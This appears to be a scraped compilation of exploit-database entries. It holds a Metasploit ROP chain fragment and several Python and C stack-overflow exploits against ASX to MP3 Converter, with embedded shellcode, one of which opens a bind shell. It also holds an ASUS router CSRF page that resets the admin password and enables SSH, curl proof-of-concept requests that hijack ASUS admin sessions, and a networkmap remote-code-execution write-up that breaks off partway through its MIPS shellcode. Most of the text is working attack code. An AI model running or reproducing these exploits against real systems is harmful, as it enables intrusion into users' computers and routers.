	buf = "http://"
	buf += "A" * 17417 + [target.ret].pack("V") + "CCCC"

	## Save allocation type (0x1000) in EDX
	buf += [0x10047F4D].pack("V") # ADC EDX,ESI # POP ESI # RETN
	buf += [0x11111111].pack("V")
	buf += [0x10029B8C].pack("V") # XOR EDX,EDX # RETN
	buf += [0x1002D493].pack("V") # POP EDX # RETN
	buf += [0xEEEEFEEF].pack("V")
	buf += [0x10047F4D].pack("V") # ADC EDX,ESI # POP ESI # RETN
	buf += [0x41414141].pack("V")

	## Save the address of VirtualAlloc() in ESI
	buf += [0x1002fade].pack("V") # POP EAX # RETN [MSA2Mfilter03.dll] 
	buf += [0x1004f060].pack("V") # ptr to &VirtualAlloc() [IAT MSA2Mfilter03.dll]
	buf += [0x1003239f].pack("V") # MOV EAX,DWORD PTR DS:[EAX] # RETN [MSA2Mfilter03.dll]
	buf += [0x10040754].pack("V") # PUSH EAX # POP ESI # POP EBP # LEA EAX,DWORD PTR DS:[ECX+EAX+D] # POP EBX # RETN
	buf += [0x41414141].pack("V")
	buf += [0x41414141].pack("V")

	## Save the size of the block in EBX
	buf += [0x1004d881].pack("V") # XOR EAX,EAX # RETN
	buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN
	buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN
	buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN
	buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN
	buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN
	buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN
	buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN
	buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN
	buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN
	buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN
	buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN
	buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN
	buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN
	buf += [0x10034735].pack("V") # PUSH EAX # ADD AL,5D # MOV EAX,1 # POP EBX # RETN

	## Save the address of (# ADD ESP,8 # RETN) in EBP
	buf += [0x10031c6c].pack("V") # POP EBP # RETN
	buf += [0x10012316].pack("V") # ADD ESP,8 # RETN
	#buf += [0x1003df73].pack("V") # & PUSH ESP # RETN

	## Save memory protection code (0x40) in ECX
	buf += [0x1002ca22].pack("V") # POP ECX # RETN
	buf += [0xFFFFFFFF].pack("V")
	buf += [0x10031ebe].pack("V") # INC ECX # AND EAX,8 # RETN
	buf += [0x10031ebe].pack("V") # INC ECX # AND EAX,8 # RETN
	buf += [0x1002a5b7].pack("V") # ADD ECX,ECX # RETN
	buf += [0x1002a5b7].pack("V") # ADD ECX,ECX # RETN
	buf += [0x1002a5b7].pack("V") # ADD ECX,ECX # RETN
	buf += [0x1002a5b7].pack("V") # ADD ECX,ECX # RETN
	buf += [0x1002a5b7].pack("V") # ADD ECX,ECX # RETN
	buf += [0x1002a5b7].pack("V") # ADD ECX,ECX # RETN

	## Save ROP-NOP in EDI
	buf += [0x1002e346].pack("V") # POP EDI # RETN
	buf += [0x1002D038].pack("V") # RETN

	## Save NOPs in EAX
	#buf += [0x1003bca4].pack("V") # POP EAX # RETN [MSA2Mfilter03.dll] 
	#buf += [0x90909090].pack("V") # nop

	## Set up the EAX register to contain the address of # PUSHAD #RETN and JMP to this address
	buf += [0x1002E516].pack("V") # POP EAX # RETN
	buf += [0xA4E2F275].pack("V")
	buf += [0x1003efe2].pack("V") # ADD EAX,5B5D5E5F # RETN
	buf += [0x10040ce5].pack("V") # PUSH EAX # RETN

	buf += "\x90" * 4
	buf += [0x1003df73].pack("V") # & PUSH ESP # RETN
	buf += "\x90" * 20
	buf += payload.encoded

    file_create(buf)
	
  end
end
HireHackking 
'''
# Exploit Title: ASX to MP3 Converter 1.82.50 Stack Overflow
# Date: 2 Oct 2015
# Exploit Author: ex_ptr
# Vendor Homepage: http://mini-stream.net
# Version: 1.82.50
# Tested on: Windows XP SP3
'''

import struct
filename = "exploit.asx"

dummy = "A"*0x104
EIP   = struct.pack('<I', 0x76af3adc)
FFFF  = "\xFF\xFF\xFF\xFF"
NOP   = "\x90"*4
Shell = ("\x31\xc9\xbd\x90\xb7\x29\xb8\xd9\xf7\xd9\x74\x24\xf4\xb1\x1e"
		 "\x58\x31\x68\x11\x03\x68\x11\x83\xe8\x6c\x55\xdc\x44\x64\xde"
		 "\x1f\xb5\x74\x54\x5a\x89\xff\x16\x60\x89\xfe\x09\xe1\x26\x18"
		 "\x5d\xa9\x98\x19\x8a\x1f\x52\x2d\xc7\xa1\x8a\x7c\x17\x38\xfe"
		 "\xfa\x57\x4f\xf8\xc3\x92\xbd\x07\x01\xc9\x4a\x3c\xd1\x2a\xb7"
		 "\x36\x3c\xb9\xe8\x9c\xbf\x55\x70\x56\xb3\xe2\xf6\x37\xd7\xf5"
		 "\xe3\x43\xfb\x7e\xf2\xb8\x8a\xdd\xd1\x3a\x4f\x82\x28\xb5\x2f"
		 "\x6b\x2f\xb2\xe9\xa3\x24\x84\xf9\x48\x4a\x19\xac\xc4\xc3\x29"
		 "\x27\x22\x90\xea\x5d\x83\xff\x94\x79\xc1\x73\x01\xe1\xf8\xfe"
		 "\xdf\x46\xfa\x18\xbc\x09\x68\x84\x43")

exploit = dummy + EIP + FFFF + NOP + Shell

f = open(filename,'wb')
f.write(exploit)
f.close()
HireHackking 
/*
ASX to MP3 Converter SOF - Ivan Ivanovic Ivanov Иван-дурак
недействительный 31337 Team
holahola ~ https://www.exploit-db.com/exploits/38382/
Winblows 2k3
*/

#include <stdio.h>
#include <windows.h>
#include <malloc.h>

int main() {

    int i;
    char *overwrite_offset = malloc(255);
    for(i = 0; i < 255; i += 5) {
        char padding[] = "\x41\x41\x41\x41\x41"; 
        memcpy(overwrite_offset + i, padding, strlen(padding));
    }
    memset(overwrite_offset + _msize(overwrite_offset) - 1, 0x00, 1);

    char retn[] = "\x92\x72\x23\x74";
    char shellcode[] = 
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // NOP sled
    "\xdb\xc8\xd9\x74\x24\xf4\xbd\xaf\x93\x43\xb4\x5e\x31\xc9\xb1"
    "\x52\x31\x6e\x17\x83\xee\xfc\x03\xc1\x80\xa1\x41\xe1\x4f\xa7"
    "\xaa\x19\x90\xc8\x23\xfc\xa1\xc8\x50\x75\x91\xf8\x13\xdb\x1e"
    "\x72\x71\xcf\x95\xf6\x5e\xe0\x1e\xbc\xb8\xcf\x9f\xed\xf9\x4e"
    "\x1c\xec\x2d\xb0\x1d\x3f\x20\xb1\x5a\x22\xc9\xe3\x33\x28\x7c"
    "\x13\x37\x64\xbd\x98\x0b\x68\xc5\x7d\xdb\x8b\xe4\xd0\x57\xd2"
    "\x26\xd3\xb4\x6e\x6f\xcb\xd9\x4b\x39\x60\x29\x27\xb8\xa0\x63"
    "\xc8\x17\x8d\x4b\x3b\x69\xca\x6c\xa4\x1c\x22\x8f\x59\x27\xf1"
    "\xed\x85\xa2\xe1\x56\x4d\x14\xcd\x67\x82\xc3\x86\x64\x6f\x87"
    "\xc0\x68\x6e\x44\x7b\x94\xfb\x6b\xab\x1c\xbf\x4f\x6f\x44\x1b"
    "\xf1\x36\x20\xca\x0e\x28\x8b\xb3\xaa\x23\x26\xa7\xc6\x6e\x2f"
    "\x04\xeb\x90\xaf\x02\x7c\xe3\x9d\x8d\xd6\x6b\xae\x46\xf1\x6c"
    "\xd1\x7c\x45\xe2\x2c\x7f\xb6\x2b\xeb\x2b\xe6\x43\xda\x53\x6d"
    "\x93\xe3\x81\x22\xc3\x4b\x7a\x83\xb3\x2b\x2a\x6b\xd9\xa3\x15"
    "\x8b\xe2\x69\x3e\x26\x19\xfa\xed\xa7\x55\x71\x85\xc5\x95\x84"
    "\xed\x43\x73\xec\x01\x02\x2c\x99\xb8\x0f\xa6\x38\x44\x9a\xc3"
    "\x7b\xce\x29\x34\x35\x27\x47\x26\xa2\xc7\x12\x14\x65\xd7\x88"
    "\x30\xe9\x4a\x57\xc0\x64\x77\xc0\x97\x21\x49\x19\x7d\xdc\xf0"
    "\xb3\x63\x1d\x64\xfb\x27\xfa\x55\x02\xa6\x8f\xe2\x20\xb8\x49"
    "\xea\x6c\xec\x05\xbd\x3a\x5a\xe0\x17\x8d\x34\xba\xc4\x47\xd0"
    "\x3b\x27\x58\xa6\x43\x62\x2e\x46\xf5\xdb\x77\x79\x3a\x8c\x7f"
    "\x02\x26\x2c\x7f\xd9\xe2\x5c\xca\x43\x42\xf5\x93\x16\xd6\x98"
    "\x23\xcd\x15\xa5\xa7\xe7\xe5\x52\xb7\x82\xe0\x1f\x7f\x7f\x99"
    "\x30\xea\x7f\x0e\x30\x3f";

    int buffer_size = _msize(overwrite_offset) + strlen(retn) + strlen(shellcode);
    char *buffer = malloc(buffer_size);

    memcpy(buffer, overwrite_offset, _msize(overwrite_offset));
    memcpy(buffer + _msize(overwrite_offset), retn, strlen(retn));
    memcpy(buffer + _msize(overwrite_offset) + strlen(retn), shellcode, strlen(shellcode));
    memset(buffer + buffer_size - 1, 0x00, 1);

    FILE * fp;
    fp = fopen("exploit.asx","w");
    fprintf(fp, buffer); 
    fclose(fp);

    return 0;

}
HireHackking 
import struct,sys
head ='''<ASX version="3.0">
<Entry>
<REF HREF="mms://site.com/ach/music/smpl/LACA-05928-002-tes_'''

#offset 17375
junk = "A" *17375

#0x1003df8e
#0x774e1035
EIP="\x36\x10\x4e\x77"

adjust="A" *4

def create_rop_chain():
    
    rop_gadgets = [
      0x73dd5dce,  # POP EAX # RETN [MFC42.DLL] 
      0x5d091368,  # ptr to &VirtualProtect() [IAT COMCTL32.dll]
      0x7608708e,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [MSVCP60.dll] 
      0x73dd40f1,  # XCHG EAX,ESI # RETN [MFC42.DLL] 
      0x7c96feb7,  # POP EBP # RETN [ntdll.dll] 
      0x7608fcec,  # & push esp # ret  [MSVCP60.dll]
      0x01c395d4,  # POP EAX # RETN [MSA2Mcodec00.dll] 
      0xfffffdff,  # Value to negate, will become 0x00000201
      0x77d74960,  # NEG EAX # RETN [USER32.dll] 
      0x7ca485b4,  # XCHG EAX,EBX # RETN [SHELL32.dll] 
      0x01d64827,  # POP EAX # RETN [msvos.dll] 
      0xffffffc0,  # Value to negate, will become 0x00000040
      0x77d74960,  # NEG EAX # RETN [USER32.dll] 
      0x71ab9b46,  # XCHG EAX,EDX # RETN [WS2_32.dll] 
      0x1003fd11,  # POP ECX # RETN [MSA2Mfilter03.dll] 
      0x77da1d04,  # &Writable location [USER32.dll]
      0x01d34691,  # POP EDI # RETN [MSA2Mctn01.dll] 
      0x76091182,  # RETN (ROP NOP) [MSVCP60.dll]
      0x7d7da123,  # POP EAX # RETN [WMVCore.DLL] 
      0x90909090,  # nop
      0x77195015,  # PUSHAD # RETN [OLEAUT32.dll] 
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
	
rop_chain = create_rop_chain()

#msfvenom -a x86 --platform Windows -p windows/exec cmd=calc.exe -f python -b "\x00\x0a\x0d EXITFUNC=seh
#badcharacters "\x00\x0a\x0d"

buf =  ""
buf += "\xda\xd6\xba\xf5\xa4\x32\xf4\xd9\x74\x24\xf4\x5d\x31"
buf += "\xc9\xb1\x31\x83\xc5\x04\x31\x55\x14\x03\x55\xe1\x46"
buf += "\xc7\x08\xe1\x05\x28\xf1\xf1\x69\xa0\x14\xc0\xa9\xd6"
buf += "\x5d\x72\x1a\x9c\x30\x7e\xd1\xf0\xa0\xf5\x97\xdc\xc7"
buf += "\xbe\x12\x3b\xe9\x3f\x0e\x7f\x68\xc3\x4d\xac\x4a\xfa"
buf += "\x9d\xa1\x8b\x3b\xc3\x48\xd9\x94\x8f\xff\xce\x91\xda"
buf += "\xc3\x65\xe9\xcb\x43\x99\xb9\xea\x62\x0c\xb2\xb4\xa4"
buf += "\xae\x17\xcd\xec\xa8\x74\xe8\xa7\x43\x4e\x86\x39\x82"
buf += "\x9f\x67\x95\xeb\x10\x9a\xe7\x2c\x96\x45\x92\x44\xe5"
buf += "\xf8\xa5\x92\x94\x26\x23\x01\x3e\xac\x93\xed\xbf\x61"
buf += "\x45\x65\xb3\xce\x01\x21\xd7\xd1\xc6\x59\xe3\x5a\xe9"
buf += "\x8d\x62\x18\xce\x09\x2f\xfa\x6f\x0b\x95\xad\x90\x4b"
buf += "\x76\x11\x35\x07\x9a\x46\x44\x4a\xf0\x99\xda\xf0\xb6"
buf += "\x9a\xe4\xfa\xe6\xf2\xd5\x71\x69\x84\xe9\x53\xce\x74"
buf += "\x1b\x6e\xda\xe1\x82\x1b\xa7\x6f\x35\xf6\xeb\x89\xb6"
buf += "\xf3\x93\x6d\xa6\x71\x96\x2a\x60\x69\xea\x23\x05\x8d"
buf += "\x59\x43\x0c\xee\x3c\xd7\xcc\xdf\xdb\x5f\x76\x20"

shellcode="S"*10+buf

print "Length of shellcode is:",len(shellcode)
print "Length of ropchain is:",len(rop_chain)

print"Calculating Garbage:",(26000-17375-4-4-len(shellcode)-len(rop_chain))

garbage= "C" *8303

foot ='''_playlis.wma"/>
</Entry>
</ASX>'''

payload=head+junk+EIP+adjust+rop_chain+shellcode+garbage+foot

fobj = open("exploit.asx","w")
fobj.write(payload)
fobj.close()
HireHackking 
# Exploit Title: Buffer Overflow via crafted malicious .m3u file


# Exploit Author: Parichay Rai

# Tested on: XP Service Pack 3

# CVE : CVE-2017-15221
 
Description
------------

A buffer overflow Attack possible due to improper input mechanism

Proof of Concept
----------------

#!/usr/bin/python

#This exploit generates a malicious playlist for the asx to mp3 converter 3.1.3.7.2010.
#This is an exploit that work well against a windows XP3 systems!
#Successful exploit gives you a bind shell on 4444

BadChar= "\x00\x0a\x0d\x20"

# Payload Generation Command: msfpayload windows/shell_bind_tcp EXITFUNC=none R | msfencode  -a x86 -b "\x00\x0a\x0d\x20" -f c

# Successful exploitation opens port 4444 on the victim Machine

shellcode=("\xd9\xee\xbf\xad\x07\x92\x3e\xd9\x74\x24\xf4\x5e\x2b\xc9" +
"\xb1\x56\x31\x7e\x18\x03\x7e\x18\x83\xc6\xa9\xe5\x67\xc2" +
"\x59\x60\x87\x3b\x99\x13\x01\xde\xa8\x01\x75\xaa\x98\x95" +
"\xfd\xfe\x10\x5d\x53\xeb\xa3\x13\x7c\x1c\x04\x99\x5a\x13" +
"\x95\x2f\x63\xff\x55\x31\x1f\x02\x89\x91\x1e\xcd\xdc\xd0" +
"\x67\x30\x2e\x80\x30\x3e\x9c\x35\x34\x02\x1c\x37\x9a\x08" +
"\x1c\x4f\x9f\xcf\xe8\xe5\x9e\x1f\x40\x71\xe8\x87\xeb\xdd" +
"\xc9\xb6\x38\x3e\x35\xf0\x35\xf5\xcd\x03\x9f\xc7\x2e\x32" +
"\xdf\x84\x10\xfa\xd2\xd5\x55\x3d\x0c\xa0\xad\x3d\xb1\xb3" +
"\x75\x3f\x6d\x31\x68\xe7\xe6\xe1\x48\x19\x2b\x77\x1a\x15" +
"\x80\xf3\x44\x3a\x17\xd7\xfe\x46\x9c\xd6\xd0\xce\xe6\xfc" +
"\xf4\x8b\xbd\x9d\xad\x71\x10\xa1\xae\xde\xcd\x07\xa4\xcd" +
"\x1a\x31\xe7\x99\xef\x0c\x18\x5a\x67\x06\x6b\x68\x28\xbc" +
"\xe3\xc0\xa1\x1a\xf3\x27\x98\xdb\x6b\xd6\x22\x1c\xa5\x1d" +
"\x76\x4c\xdd\xb4\xf6\x07\x1d\x38\x23\x87\x4d\x96\x9b\x68" +
"\x3e\x56\x4b\x01\x54\x59\xb4\x31\x57\xb3\xc3\x75\x99\xe7" +
"\x80\x11\xd8\x17\x37\xbe\x55\xf1\x5d\x2e\x30\xa9\xc9\x8c" +
"\x67\x62\x6e\xee\x4d\xde\x27\x78\xd9\x08\xff\x87\xda\x1e" +
"\xac\x24\x72\xc9\x26\x27\x47\xe8\x39\x62\xef\x63\x02\xe5" +
"\x65\x1a\xc1\x97\x7a\x37\xb1\x34\xe8\xdc\x41\x32\x11\x4b" +
"\x16\x13\xe7\x82\xf2\x89\x5e\x3d\xe0\x53\x06\x06\xa0\x8f" +
"\xfb\x89\x29\x5d\x47\xae\x39\x9b\x48\xea\x6d\x73\x1f\xa4" +
"\xdb\x35\xc9\x06\xb5\xef\xa6\xc0\x51\x69\x85\xd2\x27\x76" +
"\xc0\xa4\xc7\xc7\xbd\xf0\xf8\xe8\x29\xf5\x81\x14\xca\xfa" +
"\x58\x9d\xa0\xc0\x80\xbf\xdc\x6c\xd1\xfd\x80\x8e\x0c\xc1" +
"\xbc\x0c\xa4\xba\x3a\x0c\xcd\xbf\x07\x8a\x3e\xb2\x18\x7f" +
"\x40\x61\x18\xaa")

buffer="http://"
buffer+="A"*17417
buffer+="\x53\x93\x42\x7e" #(overwrites EIP in windows XP service pack 3 with the address of user32.dll)
buffer+="\x90"*10 #NOPs
buffer+=shellcode
buffer+="\x90"*10 #NOPs
f=open("exploit.m3u","w")
f.write(buffer);
f.close()

----------------------
Affected Targets
---------------------

ASX to MP3 version 3.1.3.7 and May be less
 

Solution
---------------

Validate input to prevent unexpected data from being processed, such as being too long, of the wrong data type, containing "junk" characters, etc.

 
Credits
----------

Offensive Security
Rebellious Ceaser
HireHackking 
# Exploit Title: AsusWRT RT-AC750GF - Cross-Site Request Forgery (Change Admin Password)
# Date: 2018-06-23
# Exploit Author: Wadeek
# Vendor Homepage: https://www.asus.com/
# Firmware Link: http://dlcdnet.asus.com/pub/ASUS/wireless/RT-AC750GF/FW_RT_AC750GF_30043806038.zip
# Firmware Version: 3.0.0.4.380.6038
# Tested on: ASUS RT-AC750GF with default firmware version 3.0.0.4.380.6038

# (Cross Site Scripting -> URL Redirecting -> Cross-Site Request Forgery {Cookie: asus_token}
# -> Change the router login password and enable SSH daemon)

<html>
<body>
<p>Proof Of Concept</p>
<!-- <form action="http://192.168.1.1/findasus.cgi" method="POST"> -->
<form action="http://router.asus.com/findasus.cgi" method="POST">
<input type="hidden" name="action_mode" value="refresh_networkmap" />
<input type="text" id="current_page" name="current_page" value="" />
<script>
// set username at admin
// set password at admin123
// enable ssh daemon
document.getElementById("current_page").value = "start_apply.htm?productid=RT-AC53&current_page=Advanced_System_Content.asp&next_page=Advanced_System_Content.asp&modified=0&action_mode=apply&action_wait=5&action_script=restart_time%3Brestart_upnp&http_username=admin&http_passwd=admin123&http_passwd2=admin123&v_password2=admin123&sshd_enable=1&sshd_port=22&sshd_pass=1&sshd_authkeys=";
</script>
<input type="submit" value="" />
</form>
</body>
</html>
HireHackking 
Session Stealing

Component: httpd

CVE: CVE-2017-6549

Vulnerability:

httpd uses the function search_token_in_list to validate if a user is logged into the admin interface by checking his asus_token value. There seems to be a branch which could be a failed attempt to build in a logout functionality.

asus_token_t* search_token_in_list(char* token, asus_token_t **prev)
{
    asus_token_t *ptr = head;
    asus_token_t *tmp = NULL;
    int found = 0;
    char *cp = NULL;

    while(ptr != NULL)
    {
        if(!strncmp(token, ptr->token, 32)) {
            found = 1;
            break;
        }
        else if(strncmp(token, "cgi_logout", 10) == 0) {
            cp = strtok(ptr->useragent, "-");

            if(strcmp(cp, "asusrouter") != 0) {
                found = 1;
                break;
            }
        }
        else {
            tmp = ptr;
            ptr = ptr->next;
        }
    }
    
    if(found == 1) {
        if(prev)
            *prev = tmp;
        return ptr;
    }   
    else {
        return NULL;
    }
}
If an attacker sets his cookie value to cgi_logout and puts asusrouter-Windows-IFTTT-1.0 into his User-Agent header he will be treated as signed-in if any other administrator session is active.

PoC:

# read syslog
curl -H 'User-Agent: asusrouter-Windows-IFTTT-1.0' -H 'Cookie: asus_token=cgi_logout' http://192.168.1.1/syslog.txt

#reboot router
curl -H 'User-Agent: asusrouter-Windows-IFTTT-1.0' -H 'Cookie: asus_token=cgi_logout' http://192.168.1.1/apply.cgi1 -d 'action_mode=reboot&action_script=&action_wait=70'
It’s possible to execute arbitrary commands on the router if any admin session is currently active.
HireHackking 
Remote Code Execution

Component: networkmap

CVE: CVE-2017-6548

networkmap is responsible for generating a map of computers connected to the router. It continuously monitors the LAN to detect ARP requests submitted by unknown computers. When a new MAC address appears it will probe the related IP address for running services like printer sharing, http server and also iTunes servers.

This is implemented by sending out multicast SSP discoveries:

M-SEARCH * HTTP/1.1
HOST: 239.255.255.250:1900
ST:upnp:rootdevice
MAN:"ssdp:discover"
MX:3
A device can then respond with messages which indicate the location of the iTunes service.

HTTP/1.1 200 OK
Location:HTTP://host:port/path
Vulnerability:

The function process_device_repsonse is responsible for parsing the SSDP answer:

                                                                                                                                             
/************************************************************************************************/
// process the device response "HTTP/1.1 200 OK"
int process_device_response(char *msg)
{
        char *line, *body, *p;                  // temporary variables
        char *location = NULL;                  // the LOCATION: header
        char host[16], port[6];                 // the ip and port of the device
        ushort destport;                        // the integer type of device port
        char *data = NULL;                      // the data in packet
        int http_fd;                            // the http socket fd
        int nbytes;                             // recv number
        int i;
        char *descri = NULL;
        int len;
	struct timeval timeout={10, 0};

        //search "\r\n\r\n" or "\r\n" first appear place and judge whether msg have blank.
        if( (body = strstr(msg, "\r\n\r\n")) != NULL)
                body +=4;
        else if ( (body = strstr(msg, "\r\n")) != NULL)
                body +=2;
        else
                return 0;
                                                                                                                                             
        p = msg;
        // find the LOCATION information.
        while( p!= NULL && p < body)
        {
                line = strsep(&p, "\r\n");      //divide up string
                if((strncmp(line, "LOCATION:", 9) == 0) || (strncmp(line, "Location:", 9) == 0))
                {
                        location = strip_chars(&line[9], "\t");
                        location = strip_chars(&line[9], " ");
                        break;
                }
        }
        NMP_DEBUG_F("UPnP location=%s\n", location);
        //fprintf(fp_upnp, "UPnP location=%s\n", location);//Yau                                                                                                                                     
        // get the destination ip
        location += 7;
	i = 0;
	while( (*location != ':') && (*location != '/')) {
                host[i] = *location++;
		i++;
	}
        host[i] = '\0';
        //get the destination port
        if(*location == ':') {
            	for(location++, i =0; *location != '/'; i++)
                	port[i] = *location++;
            	port[i] = '\0';
            	destport = (ushort)atoi(port);
	}
	else
		destport = 80;
It contains multiple buffer overflows in the parsing code for host and port. This stack-based overflow can be used to gain control over networkmap’s control flow by overwriting the saved $pc stored on the stack.

Parsing this message:

HTTP/1.1 200 OK
Location:HTTP://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/
will overflow host[16] and lead to $pc being set to 0x41414141 which is a starting point for further exploitation.

Exploitation:

In order to develop a working exploit we gather further information of the system.

General Information:

ASUSWRT is based on Linux which is running on a little endian MIPS CPU. The vulnerable program networkmap gets automatically started when the device boots and additionally gets restarted by the watchdog process if it crashes.

# cat /proc/cpuinfo 
system type     : MT7620
processor       : 0
cpu model       : MIPS 24Kc V5.0
BogoMIPS        : 386.04
wait instruction    : yes
microsecond timers  : yes
tlb_entries     : 32
extra interrupt vector  : yes
hardware watchpoint : yes, count: 4, address/irw mask: [0x0000, 0x0ff8, 0x0ff8, 0x0ff8]
ASEs implemented    : mips16 dsp
shadow register sets    : 1
core            : 0
VCED exceptions     : not available
VCEI exceptions     : not available

# ps
  PID USER       VSZ STAT COMMAND
    1 admin     3940 S    /sbin/init
    2 admin        0 SW   [kthreadd]
    3 admin        0 SW   [ksoftirqd/0]
    4 admin        0 SW   [kworker/0:0]
    5 admin        0 SW   [kworker/u:0]
    6 admin        0 SW<  [khelper]
    7 admin        0 SW   [sync_supers]
    8 admin        0 SW   [bdi-default]
    9 admin        0 SW<  [kintegrityd]
   10 admin        0 SW<  [kblockd]
   11 admin        0 SW   [kswapd0]
   12 admin        0 SW   [fsnotify_mark]
   13 admin        0 SW<  [crypto]
   17 admin        0 SW   [mtdblock0]
   18 admin        0 SW   [mtdblock1]
   19 admin        0 SW   [mtdblock2]
   20 admin        0 SW   [mtdblock3]
   21 admin        0 SW   [mtdblock4]
   22 admin        0 SW   [mtdblock5]
   23 admin        0 SW   [kworker/u:1]
   30 admin        0 SW   [kworker/0:1]
   41 admin      660 S    hotplug2 --persistent --no-coldplug
   76 admin     3924 S    console
   78 admin     1276 S    /sbin/syslogd -m 0 -S -O /tmp/syslog.log -s 256 -l 6
   80 admin     1276 S    /sbin/klogd -c 5
   82 admin     1292 S    /bin/sh
  115 admin        0 SW   [RtmpCmdQTask]
  116 admin        0 SW   [RtmpWscTask]
  135 admin        0 SW   [RtmpCmdQTask]
  136 admin        0 SW   [RtmpWscTask]
  164 admin     3932 S    /sbin/wanduck
  168 admin     1128 S    dropbear -p 192.168.1.1:22 -a
  175 admin     3932 S    wpsaide
  189 nobody    1056 S    dnsmasq --log-async
  194 admin     2588 S    avahi-daemon: running [RT-AC53-B8F4.local]
  196 admin     4112 S    httpd -i br0
  197 admin     1068 S    /usr/sbin/infosvr br0
  199 admin     3932 S    watchdog
  201 admin     2180 S    rstats
  210 admin     1160 S    lld2d br0
  211 admin     3932 S    ots
  224 admin      800 S    miniupnpd -f /etc/upnp/config
  229 admin     1284 S    /sbin/udhcpc -i vlan2 -p /var/run/udhcpc0.pid -s /tmp/udhcpc -O33 -O249
  302 admin     1152 S    dropbear -p 192.168.1.1:22 -a
  303 admin     1300 S    -sh
  344 admin     1128 S    networkmap
  359 admin     1280 R    ps

# uname -a
Linux (none) 2.6.36 #1 Fri Sep 23 12:05:55 CST 2016 mips GNU/Linux
Memory Map:

networkmap’s memory map is analyzed to continue exploiting the device.

# cat /proc/$(pidof networkmap)/maps
00400000-0040b000 r-xp 00000000 1f:04 270        /usr/sbin/networkmap
0041a000-0041b000 rw-p 0000a000 1f:04 270        /usr/sbin/networkmap
0041b000-0041f000 rwxp 00000000 00:00 0          [heap]
2b893000-2b894000 rw-p 00000000 00:00 0 
2b894000-2b89a000 r-xp 00000000 1f:04 828        /lib/ld-uClibc.so.0
2b89a000-2b8a0000 rw-s 00000000 00:04 0          /SYSV000003e9 (deleted)
2b8a0000-2b8a4000 rw-s 00000000 00:04 32769      /SYSV000003ea (deleted)
2b8a9000-2b8aa000 r--p 00005000 1f:04 828        /lib/ld-uClibc.so.0
2b8aa000-2b8ab000 rw-p 00006000 1f:04 828        /lib/ld-uClibc.so.0
2b8ab000-2b8d9000 r-xp 00000000 1f:04 258        /usr/lib/libshared.so
2b8d9000-2b8e8000 ---p 00000000 00:00 0 
2b8e8000-2b8eb000 rw-p 0002d000 1f:04 258        /usr/lib/libshared.so
2b8eb000-2b8ed000 rw-p 00000000 00:00 0 
2b8ed000-2b8ef000 r-xp 00000000 1f:04 235        /usr/lib/libnvram.so
2b8ef000-2b8ff000 ---p 00000000 00:00 0 
2b8ff000-2b900000 rw-p 00002000 1f:04 235        /usr/lib/libnvram.so
2b900000-2b90e000 r-xp 00000000 1f:04 760        /lib/libgcc_s.so.1
2b90e000-2b91e000 ---p 00000000 00:00 0 
2b91e000-2b91f000 rw-p 0000e000 1f:04 760        /lib/libgcc_s.so.1
2b91f000-2b95a000 r-xp 00000000 1f:04 827        /lib/libc.so.0
2b95a000-2b96a000 ---p 00000000 00:00 0 
2b96a000-2b96b000 rw-p 0003b000 1f:04 827        /lib/libc.so.0
2b96b000-2b96f000 rw-p 00000000 00:00 0 
2b970000-2b97f000 r--s 03eb0000 00:0c 78         /dev/nvram
7f8a7000-7f8c8000 rwxp 00000000 00:00 0          [stack]
7fff7000-7fff8000 r-xp 00000000 00:00 0          [vdso]
Observations:

Partial ASLR is activated:

Stack address is randomized
Library addresses are randomized
Program address is not randomized
Heap address is not randomized
There is no Stack-Protector

Both heap and stack are mapped executable

The binary contains almost no gadgets suitable for building a ROP chain

Exploit:

The final exploit consists of the following steps:

Starting a webserver serving shellcode
Listening for multicast UDP messages send by the router
Database clearing / crashing: to make the heap layout predictable
Randomizing MAC address
Send message: jump to gadget that deletes networkmap’s database and crashes
networkmap will be restarted
Spraying heap 1, 2:
Randomizing MAC address
Send message: containing the webserver’s IP+port
networkmap will receive shellcode and store it on the heap
Starting payload
Randomize MAC address
Send message: jump to heap address containing the shellcode
Connect to opened shell
For further details check out the full exploit: networkmap-pwn.py (https://bierbaumer.net/networkmap-pwn.py)

Example:

# ./networkmap-pwn.py
[-] starting webserver
[-] received SSP discovery
[-] clearing database and crashing
[-] received SSP discovery
[-] spraying heap 1/2
[-] got shellcode request
[-] sending shellcode
[-] received SSP discovery
[-] spraying heap 2/2
[-] received SSP discovery
[-] starting payload
[-] try to connect to shell
[-] try to connect to shell
[+] connected
Linux (none) 2.6.36 #1 Fri Sep 23 12:05:55 CST 2016 mips GNU/Linux
[+] pwned




---networkmap-pwn.py---
#!/usr/bin/env python3
# ASUSWRT networkmap Remote Code Execution
# Author: Bruno Bierbaumer
# Date: 24/02/2017
# Tested version:
# RT-AC53 (3.0.0.4.380.6038)
# CVE: TODO

# Description:
# networkmap contains a stack-based buffer overflow which can be exploited to run arbitrary code.


ROUTER_IP = '192.168.1.1'
IP = '192.168.1.2'
INTERACE = 'enp0s31f6'

"""
 Shellcode adjusted from https://www.exploit-db.com/exploits/13298/
"""

sc = b"\x41\x41\x04\x28" *1400 #   nops
#alarm handling
sc += b"\xff\xff\x04\x28"   #     a0 <- 0                          */
sc += b"\xbb\x0f\x02\x24"   #     li      v0,4027 ( __alarm )      */
sc += b"\x0c\x01\x01\x01"   #     syscall    
sc += b"\x50\x73\x0f\x24"   #     li      t7,0x7350 (nop)          */
#/alarm
sc += b"\xe0\xff\xbd\x27"   #     addiu   sp,sp,-32                */
sc += b"\xfd\xff\x0e\x24"   #     li      t6,-3                    */
sc += b"\x27\x20\xc0\x01"   #     nor     a0,t6,zero               */
